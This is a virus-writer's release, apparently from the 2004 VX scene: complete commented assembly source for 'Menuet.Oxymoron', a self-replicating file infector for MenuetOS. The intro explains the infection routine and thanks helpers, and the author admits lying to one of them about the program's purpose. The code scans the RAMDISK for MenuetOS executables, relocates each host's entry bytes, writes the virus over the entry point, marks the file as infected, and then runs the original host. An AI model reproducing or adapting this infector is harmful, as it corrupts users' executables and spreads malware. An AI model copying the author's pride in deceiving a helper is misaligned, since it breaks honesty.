Menuet.Oxymoron by Second Part To Hell[rRlf] www.spth.de.vu spth@priest.com written from february 2004 - june 2004 in Austria I proudly present my latest project: A MenuetOS file infector. The following code is the world's first Prepender for MenuetOS. I tested the whole code with MenuetOS 0.77 pre 2.8, and it fully works. Now I want to explain you how the virus works: - Searchs it's code - Searchs for files - Check if the file is a deleted file - Check if the file is a directory - Check if the file is an infectable Menuet file - Check if the file has reseved enougth memory - Check if the file is already infected - Read file into memory - Write first hostbytes (buffer for virus) to end of file in memory - Viruscode in memory at buffer generated before - Writing Infection sign - Save file in RAMDISK - Writing Host at Entry Point of file - Execute Host Now I want to tell you how I got the name for it: Oxymoron are tue words which's sence don't exist. An example for that: Black Milk, or Burning Water. As I thought, 'Menuet' and 'Virus' are also uncompainable, I named my virus 'Oxymoron'. (Per fortuna it's not true) There are some guys I have to thank, otherwise I would not have made it: + VxF <-- Much thanks for telling me about Menuet. It's great :) I wonder why you haven't written this thing before me, but ok... Thanks also for helping me when I started to code it with many advises and suggestions. You are great!!! + jpelczar <-- The progging-freak from #MenuetOS :) Much thanks for all you did for me, the whole coding (asm) help, the OS help, the the file system help and much more. Nobody would read this without you! Ohh, sorry that i lied about the purpose of the program, but i don't think that you would have helped me if you have known that I need it for a virus. + Ville Mikael Turjanmaa <-- Hi! Much thanks for writing this great OS, i love it (as you can see). Go on with this piece of code. Two things: The SYSTREE could be better, it was very time-intensiv to test my programs. 2nd: A search engine would be great. It's damn silly to search the files listed in any order. :) I have explained nearly every line of the code, so you should understand how it works. But to understand the stranges of MenuetOS, you have to play around with the OS. I will definitivly write an article about the infection in Menuet and other stranges. If you are interested in Menuet, go to the following site, www.menuetos.org, download the latest Version of the OS, and do whatever you want to do. :) - - - - - - - - - [ Menuet.Oxymoron ] - - - - - - - - - viruslength equ I_END-START use32 org 0x0 db 'MENUET00' ; 8 byte id dd 23 ; required os & Virus infection Mark dd START ; Program start dd I_END ; Program length dd 0x100000 ; Required amount of memory dd 0x00000000 ; reserved=no extended header START: pushad ; Save the original register-contents to stack mov ebp, dword [0xC] ; Save the virussize in ebp mov edi, ebp ; Move the offset of the code-start add di, (flb_bs-START) ; Get the relative offset mov al, 1 ; What to write = RESTORING stosb ; Write al to memory at offset edi add di, (fle-START)-(flb_bs-START) ; Get the relative Offset mov al, 0x20 ; What to write (Space) xor ecx, ecx ; ecx=0 mov cl, 11 ; How much to write - 11 bytes rdfn: ; Restore Data - File Name stosb ; Write 20h to edi loop rdfn ; Jump to fn2fb if ecx>0 && dec ecx xor eax, eax ; eax=0 mov al, 58 ; SYSTEM TREE ACCESS mov ebx, ebp ; pointer to fileinfo-block add bx, (dir_block-START) ; Get the relative offset int 0x40 ; System Call mov ebx, 0x20000 ; Move Offset of filename to ebx nextfile: add ebx, 32 ; Next Filename cmp ebx, 0x22000 ; Compair ebx with 0x22000 je endinf ; If equal, stop it mov cl, [ebx] ; First letter of Filename to cl cmp cl, 0xE5 ; Compair with 0xE5 (which is the sign of a DELETED file) je nextfile ; If so, get next file mov cl, [ebx+11] ; Move the attribute bits to cl and cl, 0x10 ; AND 0x10 ( ???1 ???? = FOLDER ) jnz nextfile ; If not zero, get next file mov edx, ebx ; Save ebx in edx mov edi, ebp ; Move fle (11 letter buffer) to edi add di, (fle-START) ; Get the relative Offset xor ecx, ecx ; ecx=0 mov cl, 11 ; Move 11 to ecx (counter=11) fn2fb: ; File Name to File Block mov al, [ebx] ; Move the ebx-value to al stosb ; Write al to memory at offset edi (=11 letter buffer) inc ebx ; Get next letter loop fn2fb ; Jump to fn2fb if ecx>0 && dec ecx xor eax, eax ; eax=0 mov al, 58 ; SYSTEM TREE ACCESS mov ebx, ebp ; pointer to file-block add bx, (file_block-START) ; Get the relative Offset int 0x40 ; System Call mov ebx, edx ; Restore original ebx (Filename offset) mov eax, 0x25000 ; Move Offset of readed file-content to eax cmp dword [eax], 'MENU' ; Compair a double-word with 'MENU' jne nextfile ; If not equal (=No Menuet-executed file), get next file add al, 8 ; eax = 0x25000 + 0x8 = Infection mark offset cmp byte [eax], 23 ; Compair a byte with 23 je nextfile ; If equal (file is already infected), get next file add al, 12 ; eax= 0x25008+12 = Memory used by file cmp dword [eax], 0x50000 ; Compaire with 0x50000 (most files have the double) jl nextfile ; If less (too few memory for the virus), get next file mov eax, dword [ebx+28] ; Move the filesize to eax shr eax, 9 ; Get the blocks to read inc eax ; For reading the last not completed block mov edi, ebp ; Move the offset where to write add di, (flb_bs-START) ; Get the relative Offset stosb ; Write [al] to di in memory mov edx, ebx ; Save ebx to edx xor eax, eax ; eax=0 mov al, 58 ; SYSTEM TREE ACCESS mov ebx, ebp ; pointer to file-block add bx, (file_block-START) ; Get the relative offset int 0x40 ; System Call mov ebx, edx ; Restore original ebx (Filename offset) ;; Write first part (bytes of virus) of the host code to end ;; because these bytes will be overwritten. mov edi, dword [0x25010] ; Where to write: End of file add edi, 0x25000 ; Add memory offset of hostcode mov cx, viruslength ; Viruslength to ecx add ecx, dword [0x2500C] ; add Header-length cmp dword [0x25010], ecx ; Check if the file is smaller than the virus jge notsmall ; If not greater or equal, calculate another offset for writing xchg edi, ecx ; Move the real start to edi add edi, 0x25000 ; Add memory offset notsmall: xor ecx, ecx ; ecx=0 mov cx, viruslength ; How much to read: Viruslength mov edx, dword [0x2500C] ; What to read: Entry Point of file add edx, 0x25000 ; Add memory offset of hostcode fp2eof: ; First part to end of file mov al, [edx] ; Move a victim code's byte to al stosb ; Write al to memory at offset edi (end of file) inc edx ; Get next byte loop fp2eof ; Jump to fp2eof if ecx>0 && dec ecx ;; Overwrite first part of host file with viruscode mov cx, viruslength ; How much to write: Virus length mov edx, ebp ; What to write: Viruscode mov edi, dword [0x2500C] ; Where to write: Entry Point of file add edi, 0x25000 ; Add memory offset of hostcode vc2vm: ; Virus code to victim memory mov al, [edx] ; Move a virus code's byte to al stosb ; Write al to memory at offset edi (Start of victim's code) inc edx ; Get next virus byte loop vc2vm ; Jump to vc2vm if ecx>0 && dec ecx ;; Infection Mark <-- Against double-infection mov edi, 0x25008 ; Move the point of the infection sign mov al, 23 ; What to write (the infection mark) stosb ; Write infection mark to file mov edi, ebp ; Move the offset where to write add di, (flb_bs-START) ; Get the relative Offset mov eax, dword [ebx+28] ; What to write (Old Filesize) add eax, viruslength ; Add virussize stosd ; Write eax to memory at offset edi ;; Write memory with new built infected file to RAMDISK mov edi, ebp ; Move the offset where to write add di, (flb_kd-START) ; Get the relative Offset mov al, 1 ; What to write (1 for writing) stosb ; Write al to memory at offset edi mov edx, ebx ; Save ebx to edx xor eax, eax ; eax=0 mov al, 58 ; SYSTEM TREE ACCESS mov ebx, ebp ; pointer to file_block add bx, (file_block-START) ; Get the relative Offset int 0x40 ; System Call ;; Restore some memory stuff and register mov ebx, edx ; Restore ebx mov edi, ebp ; Move the offset where to write add di, (flb_kd-START) ; Get the relative Offset xor al, al ; What to write (0 for reading) = RESTORING stosb ; Write al to memory at offset edi mov edi, ebp ; Move the offset where to write add di, (flb_bs-START) inc al ; What to write = RESTORING stosb ; Write al to memory at offset edi jmp nextfile ; Get Next File endinf: mov ebx, ebp ; What to write - Offset of vircode add bx, (rebu-START) ; Add relative address mov edi, 0x20000 ; Where to write mov cl, (rebuend-rebu) ; How much to write (whole rebuild-code) rb2m: ; Rebuild code to memory mov al, [ebx] ; Move one byte of rebuild-code to al stosb ; Write al to offset edi inc ebx ; Get next byte loop rb2m ; Jump to rbch if ecx>0 && inc ecx mov ebx, 0x20000 jmp ebx ; Jump to rebuild code in memory ; Now the viruscode in memory will be replaced by the ; old original host code, and the control comes back to ; the host file. The reason for using memory for ; overwrite the viruscode in memory is the fact that ; we can't overwrite the current running code. ; From now on, there is just data rebu: ; Rebuild the host code xor eax, eax ; eax=0 mov al, 0x10 ; eax=0x10 mov ebx, dword [eax] ; Move the file length to ebx, to get the old hostcode offset sub eax, 4 ; eax=0xC mov edx, dword [eax] ; Move the offset of the head-length to edx add dx, viruslength ; Add the virulength to edx cmp ebx, edx ; Check if the file is smaller than the virus jge notsmall2 ; If not greater or equal, go on mov ebx, edx ; Move the new offset to ebx notsmall2: mov edi, dword [0xC] ; Where to write: 0xC mov cx, viruslength ; How much to write rbhc: ; Rebuild host code mov al, [ebx] ; One byte of the saved host code to al stosb ; Write al (Host code) to edi (Entry Point of file) inc ebx ; Get next byte loop rbhc ; Jump to rbch if ecx>0 && inc ecx popad ; Get the original register-contents jmp dword [0xC] ; Jump to Entry Point, now with the original code rebuend: ; Rebuild host code: End virmsg db '1st Menuet Virus (Oxymoron) by Second Part To Hell/rRlf' dir_block: dd 0 ; 0=READ dd 0x0 ; 512 block to read 0+ dd 0x16 ; blocks to read (/bytes to write/append) dd 0x20000 ; return data pointer dd 0x10000 ; work area for os - 16384 bytes db '/RAMDISK/FIRST',0 ; ASCIIZ dir & filename file_block: flb_kd: dd 0 ; 0=READ (delete/append) dd 0x0 ; 512 block to read 0+ flb_bs: dd 0x1 ; blocks to read (/bytes to write/append) dd 0x25000 ; return data pointer dd 0x10000 ; work area for os - 16384 bytes flpath db '/RAMDISK/FIRST/' fle db ' ',0 I_END: